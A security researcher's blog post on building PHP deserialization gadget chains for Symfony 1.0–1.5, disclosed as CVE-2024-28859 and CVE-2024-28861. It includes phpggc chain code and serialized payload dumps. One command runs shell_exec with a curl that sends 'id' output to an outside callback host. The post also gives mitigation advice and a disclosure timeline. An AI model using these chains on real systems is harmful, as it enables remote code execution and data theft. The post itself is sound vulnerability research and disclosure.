@darkpills cybersecurity blog

Sharing knowledge and experiments on cyber security topics.

Hunting for gadget chains in Symfony 1 (CVE-2024-28859 - CVE-2024-28861)

During a recent engagement, I came accross a Symfony 1 application which contained several deserialization from untrusted user inputs.

However, there was no public gadget chains available for Symfony 1, only for Symfony 2 and onwards. So I decided to look for gadgets for the version of the audited application. I finally expanded the work to all versions of Symfony 1 as a challenge, from 1.0 to 1.5.

The created gadget chains were contributed to PHPGGC project.

No fix was provided by SensioLabs for Symfony <= 1.4 since the project is not maintained anymore. However, the FriendsOfSymfony provided a patch for the community fork Symfony 1.5.


The Symfony framework

Symfony Logo

Symfony is one of the most popular opensource PHP Framework used by millions of websites accross the world. It aimed at providing a structure and tool set for PHP developers to organize the source code. Features include for instance: MVC structuring, routing, view, configuration management, forms handling, ORM, plugins, cli jobs… One of the greatest feature was the backoffice auto-generation which allows to create CRUD pages for any database table from the ORM. SensioLabs is the company under Symfony associated with an active community.

Symfony 1 Logo

Symfony development started in 2005 on PHP5 with first stable version 1.0 in February 2005. Versions 2.x and higher introduced important breaking changes like namespaces, plugins to bundles, and more modular approch with a toolbox-like framework. Last version is 7.0 at the time of writting and is still based on the version 2 architecture.

Symfony 1 project created page

The branch 1.x support ended in November 2012 after 7 years of lifetime. Symfony 1.x is now considered as the “legacy” branch and its development stopped with the last version 1.4.20.


I was missioned to audit in a black and greybox box scenario a website running Symfony 1.4. The project contained deserializations from user input (anonymised code below):

public function executeRedactedControllerName(sfWebRequest $request){

      $form = $this->form->getEmbeddedForm('form');

      if(is_string($request->getParameter('user'))) {
        $datas = unserialize($request->getParameter('user')); /// <=== here

How to build a gadget chain?

Gadget chain

To craft gadgets chains, we need 2 parts:

Start of the chain: the deserialization entry point. These are methods called during the object lifecycle. They should be as generic as possible to adapt to most situations. Targeted methods are:

  • __destruct(), __wakeup(), __unserialize(), unserialize() from Serializable interface in priority
  • then __toString(), offset*() methods from ArrayAccess interface as they are more situational dependant

End of the chain: the methods that allows arbitrary code / OS command executions:

  • call_user_func, call_user_func_array, eval, assert, create_function, unserialize, ReflectionFunction, ReflectionMethod, array_filter, $var($args) and all equivalents, preg_replace in priority as they allow direct PHP code exec, and allow to choose what method will be used in case of disable_functions hardening in php.ini
  • then system, exec, shell_exec, passthru, phpinfo, popen, proc_open, pcntl_exec, ` (backtild) for OS command execution
  • then fopen_with_path, putenv, move_uploaded_file, rename, filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo, file_get_contents, file_put_contents, fwrite, readfile, include, require, include_once, require_once… that enable to write file content and then obtain execution in a second step

Then from those 2 parts, we need to find a path from the start to the end by using the existing code base. The call will look like for instance:

__destruct() ====> $this->var->someFunctionCall()  ====> ...  ====> call_user_func("shell_exec", "id") ====> shell_exec("id")

What tools?

To generate the serialized string, you can declare in a plain PHP file the chain of classes with the needed values to get the execution and finish with an echo urlencode(serialize($object)).

Or, you can use the tool phpggc will help you build and generate your gadget chain. Moreover, it also stores a collection of existing gadget chains for a lot of products/framework, and among them: Symfony 2.

Just declare 2 files in the folder like gadgetchains/Symfony/RCE/12 where 12 is incremented for each exploit of the same type:

  • chain.php: will generate the chain of objects to serialize
  • gadgets.php: will contain the set of classes and constructor to craft the chain

Take example on the existing exploits.

Lab setup

First step was to install a fresh version of Symfony 1 in the latest available version (1.4.20), with a dummy test controller that would unserialize the user input. There were few challenges in retro-installing Symfony 1. See section Installing Symfony 1.x below to get more details.

Most of the tests bellow were done with PHP 5.6.40.

You should have a similar directory structure after installation and generation of a “test” module in a “frontend” application:

├── apps
│   └── frontend    <=== application
│       ...
│       ├── modules
│       │   └── test    <=== our module test
│       │       ├── actions
│       │       │   └── actions.class.php  <=== controller that will be called
│       │       └── templates
│       └── templates
├── cache
├── config
├── data
├── lib
│   ├── form
│   └── vendor
│       └── symfony
│           ├── CHANGELOG
│           ├── COPYRIGHT
│           ├── data
│           ├── lib
│           │   ├── action
│           │   ...
│           │   ├── plugin
│           │   ├── plugins  <== symfony default plugins shipped with installation
│           │   │   ├── sfDoctrinePlugin
│           │   │   └── sfPropelPlugin
│           │   ├── request
│           │   ...
│           │   ├── validator
│           │   ├── vendor    <== symfony dependancies
│           │   │   └── swiftmailer
│           │   ├── view
│           │   ├── widget
│           │   └── yaml
│           ├── LICENSE
│           ├── licenses
│           ├── package.xml.tmpl
│           ├── README
│           └── test
├── log
├── plugins
├── symfony
├── test
└── web

For the purpose of the exercice, add a unserialize vulnerability in the test module like this:

class testActions extends sfActions
  public function executeIndex(sfWebRequest $request)
    $a = unserialize($request->getParameter('user'));

With default routing rule /:module/:action/*, the action can be called with the URL http://localhost/frontend_dev.php/test/index.

Test action default view


It chose to set the following constraints:

  • Default version of Symfony as shipped with the tar.gz
  • Avoid if possible any plugins ORMs class shipped by default in lib/vendor/symfony/lib/plugins directory: sfDoctrinePlugin and sfPropelPlugin. It aims at makin the chain as generic as possible since some may delete for instance Propel plugin if they use Doctrine to reduce the code footprint.
  • Allow third-party class shipped by default in lib/vendor/symfony/lib/vendor directory, as they are official dependencies to Symfony framework. But avoid them if possible.
  • Use as less class as possible to make the chain smaller

Forging the initial chain in Symfony 1.4

Entry point gadgets

A search for __wakeup() shows Propel and Swift classes. Swift is a Symfony dependancy in lib/vendor/symfony/lib/vendor. So I can use it. But Swift calls only use set static variables, which cannot be hydrated from deserialization.

A search for __destruct() offers nice options:

  • Swift mailer with Swift_KeyCache_DiskKeyCache and an array access triggered on foreach($this->_keys ...):
  public function __destruct()
    foreach ($this->_keys as $nsKey=>$null)
  • And Swift_Mime_SimpleMimeEntity with a potential __call() call on $this->_cache:
  public function __destruct()
  • Lime test framework also a Symfony dependancy in lib/vendor/symfony/lib/vendor/lime/lime.php with a potential __call() call on $this->output of class lime_test. However, it is excluded from autload:
  public function __destruct()
    $plan = $this->results['stats']['plan'];
    $passed = count($this->results['stats']['passed']);
    $failed = count($this->results['stats']['failed']);
    $total = $this->results['stats']['total'];
    is_null($plan) and $plan = $total and $this->output->echoln(sprintf("1..%d", $plan));

However, in versions 1.4.x, it seems that testing classes have been excluded from autoloading. So I excluded Lime for now.

The 2 remaining Swift make good entry points.

Code execution gadgets

Let’s now identify potential way to execude code.

In PHP command category, the most powerfull and interesting hits for call_user_func() with arguments controlled by the object is sfOutputEscaper:

  • sfOutputEscaper class with escape():
  public static function escape($escapingMethod, $value)
    if (null === $value)
      return $value;

    // Scalars are anything other than arrays, objects and resources.
    if (is_scalar($value))
      return call_user_func($escapingMethod, $value);
  • triggered by sfOutputEscaperArrayDecorator and sfOutputEscaperIteratorDecorator with offsetGet() from ArrayAccess interface:
  public function offsetGet($offset)
    return sfOutputEscaper::escape($this->escapingMethod, $this->value[$offset]);
  • triggered by sfOutputEscaperObjectDecorator with __toString() magic call:
  public function __toString()
    return $this->escape($this->escapingMethod, (string) $this->value);
  • triggered by sfOutputEscaper class with __get() magic call:
  public function __get($var)
    return $this->escape($this->escapingMethod, $this->value->$var);

In all those cases, the object controls with its own attributes both the method called and the arguments of the function. This saves a lot of time and manipulation if we can use them.

Moreover, they are easy reach it, since we need one of the following prototype from the entry point:

__destruct() ====> ... ====> $this->var[$offset]
__destruct() ====> ... ====> foreach($this->var as $value)($offset)
__destruct() ====> ... ====> echo $this->var
__destruct() ====> ... ====> $this->var.""
__destruct() ====> ... ====> $this->var->unexistingAttribute

Another usefull gadget enables to take control of a call to any function on a property:

  • sfEventDispatcher class with notifyUntil(), notify() methods:
  public function notifyUntil(sfEvent $event)
    foreach ($this->getListeners($event->getName()) as $listener)
      if (call_user_func($listener, $event))
  • triggered by a lot of core objects in Symfony with __call() magic call: sfRequest, sfUser, sfContext, sfView, sfProjectConfiguration, sfComponent, sfController. For instance:
  public function __call($method, $arguments)
    $event = $this->dispatcher->notifyUntil(new sfEvent($this, 'request.method_not_found', array('method' => $method, 'arguments' => $arguments)));

sfEventDispatcher implements Observer design pattern. The objective is for the developper to subscribe to specific core events or implement its own without having to modify / hack the symfony core. Internally, it is used to notify that an unknown method has been called and give a last chance to implement it.

Thus, in our case, we just need to declare a custom sfEventDispatcher object with 1 listener with the object of our choice, and method of our choice that subscribed to 1 event. However, we do not control the arguments of the calling method, since the argument is an sfEvent object:

call_user_func($listener, ===> here: $event)

But $listener can be anything we want.

For the choice of the class with __call(), after having made several tests over 1.3 to 1.4 versions, sfWebRequest is a good candidate. Its code is stable and does not implement array access interface.

We gain another prototype to gain code execution which fit to a lot of situations:

__destruct() ====> ... ====> $this->var->unexistingMethod($args)

In OS command execution category, we have no hits on exec(), shell_exec(), passthru(), system(), except in Propel, unit testing class or with escaped or fixed arguments. For proc_open() however:

  • sfFilesystem class with execute() method:
  public function execute($cmd, $stdoutCallback = null, $stderrCallback = null)
    $this->logSection('exec ', $cmd);

    $descriptorspec = array(
      1 => array('pipe', 'w'), // stdout
      2 => array('pipe', 'w'), // stderr

    $process = proc_open($cmd, $descriptorspec, $pipes);
  • Swift_Transport_StreamBuffer class with _establishProcessConnection() private method:
  private function _establishProcessConnection()
    $command = $this->_params['command'];
    $descriptorSpec = array(
      0 => array('pipe', 'r'),
      1 => array('pipe', 'w'),
      2 => array('pipe', 'w')
    $this->_stream = proc_open($command, $descriptorSpec, $pipes);

called from the public function initialize():

  public function initialize(array $params)
    $this->_params = $params;
    switch ($params['type'])
      case self::TYPE_PROCESS:

Putting all the pieces together

Let’s assemble our findings together.

A quick win is to plug the array access with $this->_keys[$nsKey] in Swift_KeyCache_DiskKeyCache with powerfull offsetGet() from sfOutputEscaperArrayDecorator. Our chain will look like:

// in this loop, $this->_keys holds a sfOutputEscaperArrayDecorator that will trigger offsetGet() on $nsKey offset
===> foreach ($this->_keys[$nsKey] as $itemKey=>$null)
===> sfOutputEscaperArrayDecorator::offsetGet($offset)
// then sfOutputEscaperArrayDecorator will call its parent class sfOutputEscaper with fully controlled arguments
===> sfOutputEscaper::escape($this->escapingMethod, $this->value[$offset]);
// the sfOutputEscaper::escape() call call_user_func that leads to arbitrary calls
===> call_user_func($escapingMethod, $value);

Here is the object after deserialization and before triggering __destruct():

object(Swift_KeyCache_DiskKeyCache)#88 (4) {
  string(25) "thispathshouldneverexists"
  object(sfOutputEscaperArrayDecorator)#89 (3) {
    array(1) {
      string(66) "curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)"
    string(10) "shell_exec"

Now we create a phpggc new gadget chain with:

  • gadgets.php:
class Swift_KeyCache_DiskKeyCache
  private $_path;
  private $_keys = array();
  public function __construct($keys, $path) {
    $this->_keys = $keys;
    $this->_path = $path;

class sfOutputEscaperArrayDecorator
  protected $value;
  protected $escapingMethod;
  public function __construct($escapingMethod, $value) {
    $this->escapingMethod = $escapingMethod;
    $this->value = $value;
  • chain.php:
namespace GadgetChain\Symfony;

class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall
    public static $version = '? < 1.4.20';
    public static $vector = '__destruct';
    public static $author = 'darkpills';
    public static $information = 
        'Based on Symfony 1 and Swift mailer in Symfony\'s vendor';

    public function generate(array $parameters)
        $cacheKey = "1";
        $keys = new \sfOutputEscaperArrayDecorator($parameters['function'], array($cacheKey => $parameters['parameter']));
        $path = "thispathshouldneverexists";
        $cache = new \Swift_KeyCache_DiskKeyCache($keys, $path);

        return $cache;

One drawback to this chain: inside the body loop of Swift_KeyCache_DiskKeyCache, this is call to $this->clearAll($nsKey); which then trigger a rmdir($this->_path . '/' . $nsKey);. So we must put something in both $this->_path and $nsKeys that will never exists to avoid issues.

We generate the serialized input:

./phpggc Symfony/RCE12 shell_exec "curl https://p0qxhs4uvbed5vte14jx9suz9qfh3jr8.oastify.com?a=\$(id)" -u -f


And send it to the vulnerable controller to obtain our code execution:

Deserialization code execution in sf 1.4

Final chain: https://github.com/ambionics/phpggc/tree/master/gadgetchains/Symfony/RCE/12


After making tests from version 1.4.20 and previous, I came to the conclusion that this chain was compatible until version 1.3.0. Before in 1.2.12, Swift mailer is not present in the dependancies of Symfony.

A word about fast destruct in phpggc

In phpggc, -f option stands for “fast destruct” as refered here and should be called to improve reliability if __destruct() vector is used:

PHPGGC implements a –fast-destruct (-f) flag, that will make sure your serialized object will be destroyed right after the unserialize() call, and not at the end of the script. I’d recommend using it for every __destruct vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the __destruct method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.

When we dig into the source of phpggc, we find the explanation of the technique here:

The object is put in a 2-item array. Both items have the same key. Since the object has been put first, it is removed when the second item is processed (same key). It will therefore be destroyed, and as a result __destruct() will be called right after the unserialize() call, instead of at the end of the script.

So it is as if you had the following pseudo-code unserialized:

  0 => $object,
  0 => 1

Digging for the fun: a chain in Symfony 1.2

Before Symfony 1.3.0, SwiftMailer was not a dependency of the framework. So we must find other entry points.

How deep is this hole?

Using sfNamespacedParameterHolder as an entry point

By searching for class implementing Serializable, I stumbled across sfParameterHolder but its implementation of unserialize() does not offer solutions to continue the chain:

class sfParameterHolder implements Serializable
  public function unserialize($serialized)
    $this->parameters = unserialize($serialized);

However, the child class sfNamespacedParameterHolder triggers 2 ArrayAccess calls on the $data variable:

class sfNamespacedParameterHolder extends sfParameterHolder
  public function unserialize($serialized)
    $data = unserialize($serialized);

    $this->default_namespace = $data[0];
    $this->parameters = $data[1];

We can reuse the last offsetGet() gadget from sfOutputEscaperArrayDecorator to achieve PHP code execution:

===> $data = unserialize($serialized);
// trigger an ArrayAccess::offsetGet(0) on $data
===> $this->default_namespace = $data[0];
// $data is actually an instance of sfOutputEscaperArrayDecorator
===> sfOutputEscaperArrayDecorator::offsetGet($offset)
// then sfOutputEscaperArrayDecorator will call its parent class sfOutputEscaper with fully controlled arguments
===> sfOutputEscaper::escape($this->escapingMethod, $this->value[$offset]);
// the sfOutputEscaper::escape() call call_user_func that leads to arbitrary calls
===> call_user_func($escapingMethod, $value);

The serialized object will look like:

object(sfNamespacedParameterHolder)#4 (1) {
  object(sfOutputEscaperArrayDecorator)#3 (2) {
    array(1) {
      string(66) "curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)"
    string(10) "shell_exec"

After testing further, I could establish that all the required code was stable from Symfony 1.1.0 until 1.4.20 and after (see later).

Final chain: https://github.com/ambionics/phpggc/tree/master/gadgetchains/Symfony/RCE/16

Alternate chains with ORM plugins

In the research process, I first found a series of gadgets which depends on the ORM and only after, the previous chains without dependencies. To work, the required plugin must be deployed on the filesystem in lib or lib/vendor/symfony/plugins and explicitly enabled in the ProjectConfiguration class:

public function setup()

In versions 1.2.12, Propel was the main ORM and enabled by default and Doctrine was also shipped by default with framework distribution.

  • sfDoctrinePlugin: valid for 1.2.0 <= 1.2.12 with the same sfOutputEscaperArrayDecorator gadget:
class sfDoctrinePager extends sfPager implements Serializable
  public function unserialize($serialized)
    $array = unserialize($serialized);

    foreach($array as $name => $values)
      $this->$name = $values;

Final chain: https://github.com/ambionics/phpggc/tree/master/gadgetchains/Symfony/RCE/13

  • sfPropelPlugin: valid for 1.2.0 <= 1.2.12
class PropelDateTime extends DateTime
	function __wakeup()
		parent::__construct($this->dateString, new DateTimeZone($this->tzString));

This last one is maybe more interesting. At first glance, my question was: is it possible to trigger a __toString() call since the signature of the DateTime and/or DateTimeZone constructor use string?

/** DateTime **/
public __construct(string $datetime = "now", ?DateTimeZone $timezone = null)

/** DateTimeZone **/
public __construct(string $timezone)

So I crafted this little PoC:

class PropelDateTime extends DateTime
	public $dateString;
	public $tzString;

	function __wakeup()
		parent::__construct($this->dateString, new DateTimeZone($this->tzString));

class Test {
    public function __toString() {
        var_dump("==> toString called!");
		return "";

$t = new PropelDateTime("2023-12-12");

// DateTime test
try {
	echo "DateTime test".PHP_EOL;
	$t->dateString = new Test();
	$t->tzString = "Europe/Paris";
} catch (Exception $e) {
	echo $e;

// DateTimeZone test
try {
	echo "DateTimeZone test".PHP_EOL;
	$t->dateString = "2023-12-12";
	$t->tzString = new Test();
} catch (Exception $e) {
	echo $e;

And __toString() get called for both methods:

root@55da4b4a89dc:/var/www# php unse.php 
DateTime test
string(20) "==> toString called!"
DateTimeZone test
string(20) "==> toString called!"

By chance, our powerfull sfOutputEscaperObjectDecorator class also implements __toString():

  public function __toString()
    return $this->escape($this->escapingMethod, $this->value->__toString());

The rest of the chain is the same.

We just need to find a glue for $this->value->__toString() so that it returns a value we can control. We have plenty of choices. I chose the class sfCultureInfo that does the job.

Final chain: https://github.com/ambionics/phpggc/tree/master/gadgetchains/Symfony/RCE/14

Awakening the dead: a chain in Symfony 1.0

It’s time to __wakeup()!

Symfony 1.0 branch last release was 14 years ago, the 2010-01-27. As a result, I do not expect any website to run this version in 2024, and maybe even version 1.2.

So finding a chain is purely for the fun. But I expected it to be much more successful. I could not find any non ORM dependant chain entry point and had to fallback on them.

Symfony 1.0 is shipped by default with different vendors. At the time, the concept of plugins was not implemented. Among them, Creole is the database abstraction layer (DBAL) used by Propel ORM.

Symfony uses Propel as the ORM, and Propel uses Creole for database abstraction. These two third-party components, both developed by the Propel team, are seamlessly integrated into symfony, and you can consider them as part of the framework.

Creole offers a lot of entry points with several __destruct() and __wakeup() functions. I chose to use the __wakeup() one of TableInfo abstract class extended by MySQLiTableInfo:

abstract class TableInfo {
    function __wakeup()
        // restore chaining
        foreach($this->columns as $col) {
            $col->table = $this;

Like previously, the objective is to reuse the powerfull sfOutputEscaperArrayDecorator gadgets. Luckily, this class was already implemented in version 1.0.0, almost with the same code.

After having conducted tests, this chain works for all versions of 1.0 and 1.1. Creole was deprecated and remove after.

Final chain: https://github.com/ambionics/phpggc/tree/master/gadgetchains/Symfony/RCE/15

The community fork of Symfony1: the version 1.5

There is a symfony 1.5

A friend of mine pointed me out that a team continues to maintain a fork of Symfony 1. They added new features, PHP8 support and made frequent releases under the name “Symfony 1.5”: https://github.com/FriendsOfSymfony1/symfony1. At the time of writing, the last version is 1.5.15.

So the burning question is: can we find a gadget chain in 1.5? and can we use previously chains developped?

The sfNamespacedParameterHolder chain (1.1 <= 1.4)

After analysis, no breaking changes has been brought on sfNamespacedParameteSymfony class on branch 1.5. The chain remains valid.

This makes this chain the most powerfull chain with the largest coverage of my research, for all versions from 1.1.0 to 1.5.18.

GHSA-pv9j-c53q-h433 and CVE-2024-28861 has been assigned for this chain.

The Swift chain (1.3 <= 1.4)

After analysis, the chain may work depending on how Symfony 1.5 is installed on the target system.

Swift Mailer entry points are still presents, all of them in Swift_KeyCache_DiskKeyCache, Swift_Mime_SimpleMimeEntity and Swift_Transport_AbstractSmtpTransport.

However, they are not vulnerable any more. A fix has been done with commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed to prevent arbitrary deserialization. This commit has been shipped with Swift version 6.2.5.

Concreetly, __wakeup() have been implemented to clear attributes' values:

  public function __wakeup()
      $this->keys = [];

And/or prevent any deserialization:

  public function __wakeup()
      throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);

In Symfony 1.5 master branch, Swift Mailer source code is not included anymore in the repository of Symfony in lib/vendor/swiftmailer directory but installed as a dependency.

If you install version 1.5 with composer, you will end-up installing last version of Swift Mailer 6.x that is not vulnerable anymore. It contains the previous fixes. Here is an extract of the composer.lock:

  "name": "friendsofsymfony1/symfony1",
  "version": "v1.5.15",
  "source": {
      "type": "git",
      "url": "https://github.com/FriendsOfSymfony1/symfony1.git",
      "reference": "9945f3f27cdc5aac36f5e8c60485e5c9d5df86f2"
  "require": {
      "php": ">=5.3.0",
      "swiftmailer/swiftmailer": "~5.2 || ^6.0"
    "name": "swiftmailer/swiftmailer",
    "version": "v6.3.0",

So, when does symfony 1.5 start to switch to branch 6.x of Swift Mailer?

By reviewing releases archives, composer.json targets branch 5.x before Symfony 1.5.13 included:

    "name": "friendsofsymfony1/symfony1",
    "description": "Fork of symfony 1.4 with dic, form enhancements, latest swiftmailer and better performance",
    "type": "library",
    "license": "MIT",
    "require": {
        "php" : ">=5.3.0",
        "swiftmailer/swiftmailer": "~5.2"

And branch 5.x does not have the backport of the fix commited on branch 6.x. Last commit date from 2018-07-31.

So, the gadget chain is fully valid for at least versions 1.3.0 until 1.5.13.

And, it’s not the end! If you install Symfony with git method described in the git README, Swift Mailer code is downloaded through a git sub-module. Sub-module definition targets branch 5.x of Swift Mailer:

[submodule "lib/vendor/swiftmailer"]
    path = lib/vendor/swiftmailer
    url = https://github.com/swiftmailer/swiftmailer.git
    branch = 5.x
[submodule "lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine"]
    path = lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine
    url = https://github.com/FriendsOfSymfony1/doctrine1.git

So last master branch of Symfony 1.5 is vulnerable if installed with git init and git submodule update.

We confirmed this issue with our previous chain: Deserialization code execution in sf 1.5

GHSA-wjv8-pxr6-5f4r and CVE-2024-28859 has been assigned for this chain.

Exploiting PHP Bug #49649 in a unserialization context

I initially submited 2 chains in a PR to phpggc. However, Charles Fol could not reproduce one of the chain with lime_test that I did not talk about before for this reason.

Actually, I made a mistake while installing some symfony versions and the 2nd chain based on lime_test revealed to be unexploitable. Indeed, I installed symfony in the web root directory making all the symfony lib directory loaded by the autoload mechanism. The lime vendor was loaded but should not be in a standard installation. This changed a important part of this blog post that was refactored.

However, I chose to keep in this paragraph a part of the article that was quite interesting as it leveraged PHP bug #49649 and PHPGGC process_serialized() to get a broader compatibility of a gadget chain.

As said before, I used a __destruct() entry point in lime_test class on versions 1.2, a class which is finally not auto-loaded.

While testing the chain compatibility over all versions of 1.2, I got a failure in 1.2.0 - 1.2.8 even if lime_test was still present.

The source of this is in the lime_test class definition:

  • In Symfony 1.2.9 and after:
class lime_test
  const EPSILON = 0.0000000001;

  protected $test_nb = 0;
  protected $output  = null; // <== $output is protected
  protected $results = array();
  protected $options = array();
  • In Symfony 1.2.8 and before:
class lime_test
  const EPSILON = 0.0000000001;

  public $plan = null;
  public $test_nb = 0;
  public $failed = 0;
  public $passed = 0;
  public $skipped = 0;
  public $output = null; // <== $output is public

We observed changes in the way Lime handle tests results, from public attributes to protected one, with $passed, $skipped, $failed transformed to a $result array. The only attribute that broke the chain is actually $output since the other one have a default value compatible with the algorithm of __destruct() to reach $this->output->echoln() call.

As explained here, attribute visibility are encoded in the serialization format of PHP. For instance:

class Test {
    public $public = 1;
    protected $protected = 2;
    private $private = 3;

Will be serialized as follow:

  v-- strlen("Test")           v-- property          v-- value
              ^-- property ^-- value                     ^-- property           ^-- value

The \0 in the above serialization string are NUL bytes. As you can see private and protected members are serialized with rather peculiar names: Private properties are prefixed with \0ClassName\0 and protected properties with \0\0.*

If you try to declare several times the same attribute to a class with different visibility, you get a fatal error:

class lime_test
  protected $output  = null;
  public $output  = null;

new lime_test();

PHP Fatal error:  Cannot redeclare lime_test::$output in test.php on line 9

In a first approch, I created 2 chains: one for 1.2.9+ and one for 1.2.8- since lime_test code is stable until 1.1.0. And it worked like a charm.

However, I wondered if I could just create a gadget chain compatible for all versions, just by appending 2 attributes, 1 public, and 1 protected with the same name, hopping for PHP to pick the right one for each code. Here is a simple PoC:

                        ^-- protected attribute      ^-- public attribute

Which gives:

class lime_test
  protected $output  = "ok";

$s = 'O:9:"lime_test":2:{s:9:"%00*%00output";s:2:"ok";s:6:"output";s:2:"ok";}';

And it worked!

docker run -it -v /home/darkpills/test/:/usr/src/myapp -w /usr/src/myapp php:5.6.40-cli-alpine php test.php
object(lime_test)#1 (2) {
  string(2) "ok"
  string(2) "ok"

Leveraging PHP Bug #49649 for unserialized attacks

After making some tests, it stopped working in PHP 7.2.0:

docker run -it -v /home/darkpills/test/:/usr/src/myapp -w /usr/src/myapp php:7.2.0-cli php test.php      
object(lime_test)#1 (1) {
  string(2) "ok"

It appears a fix was done in version 7.2.0

Fixed bug #49649 (unserialize() doesn’t handle changes in property visibility).

And we confirmed it in the bug’s 49649 description:

Unserializing an object after changing some of its class properties' from public to protected results in properties present in both states. (As a workaround, migration code can be written using get_object_vars() to update the a protected property from the corresponding public version within a __wakeup() call.)

The last version of symfony 1.2 has been released the 2010-02-25 and PHP 7.2.0 seven years later the 2017-11-30. So we can make a fair assumption that no one will run Sf 1.2.x on PHP7.2+. Else, they must have upgraded to 1.4 and onwards in a will to use sf 1.x most up-to-date stack.

So we can take advantage of PHP bug #49649 to have a chain compatible with all version of Sf 1.2.

As PHP triggers a fatal error trying to serialize duplicate properties in an object, we will need to manually alter serialized string. PHPGGC offers a method hook for that with process_serialized() method on the chain object:

public function process_serialized($serialized)
    $serialized2 = $serialized;

    // insert the same $output attribute of lime_test class, but with public visibility 
    // for sf <= 1.2.8 compatibility
    $find = '#s:9:".\\*.output";(.*}}})s:10:".\\*.results";#';
    $replace = 's:9:"'.chr(0).'*'.chr(0).'output";${1}s:6:"output";${1}s:10:"'.chr(0).'*'.chr(0).'results";';
    $serialized2 = preg_replace($find, $replace, $serialized2);

    // update the number of properties to 5
    $find = '#"lime_test":4#';
    $replace = '"lime_test":5';
    $serialized2 = preg_replace($find, $replace, $serialized2);
    return $serialized2;

Final chains

Here is the final chains commited to PHPGGC:


General recommandations

Don’t use deserialization with user inputs

First as explained in OWASP cheat sheets, you should avoid using deserialization with user input and prefer using alternative data formats like JSON.

This mechanism was invented to transfer an object state over the network, from one server to another by “freezing” it. However, this feature is too powerfull for the need: you don’t need to transfer objects with methods, functions and capabilities that may alter the logic of the remote server.

Instead, nowadays, we use less featured formats like JSON, YAML, XML that only carry meta data information with few features. So for instance, replacing unserialize() with json_decode is a good option.

If you do not have the choice or inherit from a legacy code base, you can implement __wakeup() and cleanup properties or throw an exception if the class has __destruct() and was not intended to be unserialized:

  public function __wakeup()
      throw new \Exception('Cannot unserialize '.__CLASS__);

You can also check the object’s class in __destruct() but this is a bad practise. Subclasses can still trigger arbitrary calls.

Symfony 1.4 and before

The vulnerabilities has been reported to SensioLabs. Since Symfony 1 is obsolete, they answered that no security fix will be provided on the product.

Sensiolabs response

Symfony 1.5

The 2 valid chains has been reported to Symfony 1.5 maintainers through Github’s security advisories and tracked as GHSA-wjv8-pxr6-5f4r and GHSA-pv9j-c53q-h433.

It took over a month to get an answer. It seems that active maintainers did not receive advisory notification. But once in touch, fix were implemented very quickly and communication was very pleasant and smooth.

For SwiftMailer chain, maintainers choose to fork SwiftMailer repository which is also not maintained any more, cherry pick the commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed and link both composer and submodules to the forked repository.

For sfNamespacedParameterHolder, maintainers explained that $data[0] and $data[1] can contain any type of object. So a json_encode() solution will be incompatible. A simple array type checking on $data will be sufficient at this stage:

    public function __unserialize($data)
        // here code added
        if (!is_array($data) || 2 !== \count($data)) {
            $this->default_namespace = null;
            $this->parameters = [];

        // end of code added

        $this->default_namespace = $data[0];
        $this->parameters = $data[1];

Disclosure timeline

  • 2023-12-18: Initial gadget chain discovered and exploited for 1.4 during the engagement
  • 2023-12-18: Vulnerability reported to SensioLabs on security@symfony.com
  • 2024-01-10: Advisory GHSA-wjv8-pxr6-5f4r for Swift chain
  • 2024-02-25: PHPGGC PR 182 opened
  • 2024-02-28: Symfony 1.5.18 released fixing Swift chain
  • 2024-03-01: Advisory GHSA-pv9j-c53q-h433 for sfNamespacedParameterHolder chain with a proposition of PR
  • 2024-03-14: PHPGGC PR 182 merged
  • 2024-03-15: CVE-2024-28859 and CVE-2024-28861 assigned
  • 2024-03-19: Symfony 1.5.19 released fixing sfNamespacedParameterHolder chain
  • 2024-03-19: PHPGGC PR 184 opened for sfNamespacedParameterHolder chain
  • 2024-03-26: PHPGGC PR 184 closed


Emanuele Panzeri for the pleasant exchange on Symfony1

Charles Fol for the time taken for testing the chains


Installing Symfony 1

Source code was maintained on SVN at the URL https://svn.symfony-project.com/ and has been ported to https://github.com/symfony/symfony1 where it is still possible to download old versions.

There are few challenges in retro-installing Symfony 1.

Version 1.5

For the recent version 1.5, the procedure is correctly described in the documentation, but there are few issues with default Doctrine ORM.

With composer

Install composer:

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('sha384', 'composer-setup.php') === 'e21205b207c3ff031906575712edab6f13eb0b361f2085f1f1237b7126d785e826a450292b6cfd1d64d92e6563bbde02') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php
php -r "unlink('composer-setup.php');"

And then install Symfony with composer:

php composer.phar require friendsofsymfony1/symfony1 "1.5.*"
php composer.phar install

If you launch install command like in 1.4 you will get a fatal error due to Doctrine components not found. You can either add Doctrine with composer and declare sf_doctrine_path in your project configuration file, or like me since we don’t need an ORM, disable Doctrine during installation. Edit vendor/friendsofsymfony1/symfony1/lib/plugins/sfDoctrinePlugin/config/installer.php:


And start creating a project, an application and a module:

php vendor/symfony/data/bin/symfony generate:project test
php symfony generate:app frontend
php symfony generate:module frontend test

Several files will be created, among them: web/index.php and web/frontend_dev.php for respectively production and development configuration of the frontend application.

Then start a webserver with PHP installed and make the root point to web directory (renamed public in version 2.x and higher).

Fix the possible permission issues.

Open a web browser to http://localhost/frontend_dev.php and you should see something similar to:

Default welcome page

In a real world installation, you would create rewrite rules to index.php but we just want a quick dirty dev version running.

For purists, missing images can be added by using an alias Alias /sf /home/sfproject/lib/vendor/symfony/data/web/sf or a symlink.

With git

Create a git repo:

git init .
git submodule add https://github.com/FriendsOfSymfony1/symfony1.git lib/vendor/symfony
git submodule update --init --recursive

If you try to generate a project, you will get an error due to PHP7.1+ new syntax to declare visibility of constants. However, this syntax is not compatible with PHP5. Here is a snipet to fix it:

find . -name "*.php" -type f -exec grep -l "public const" '{}' \; | noglob xargs -I '{}' sed -i -e s#"public const"#"const"# '{}'

Then, the rest is the same:

php lib/vendor/symfony/data/bin/symfony generate:project test
php symfony generate:app frontend
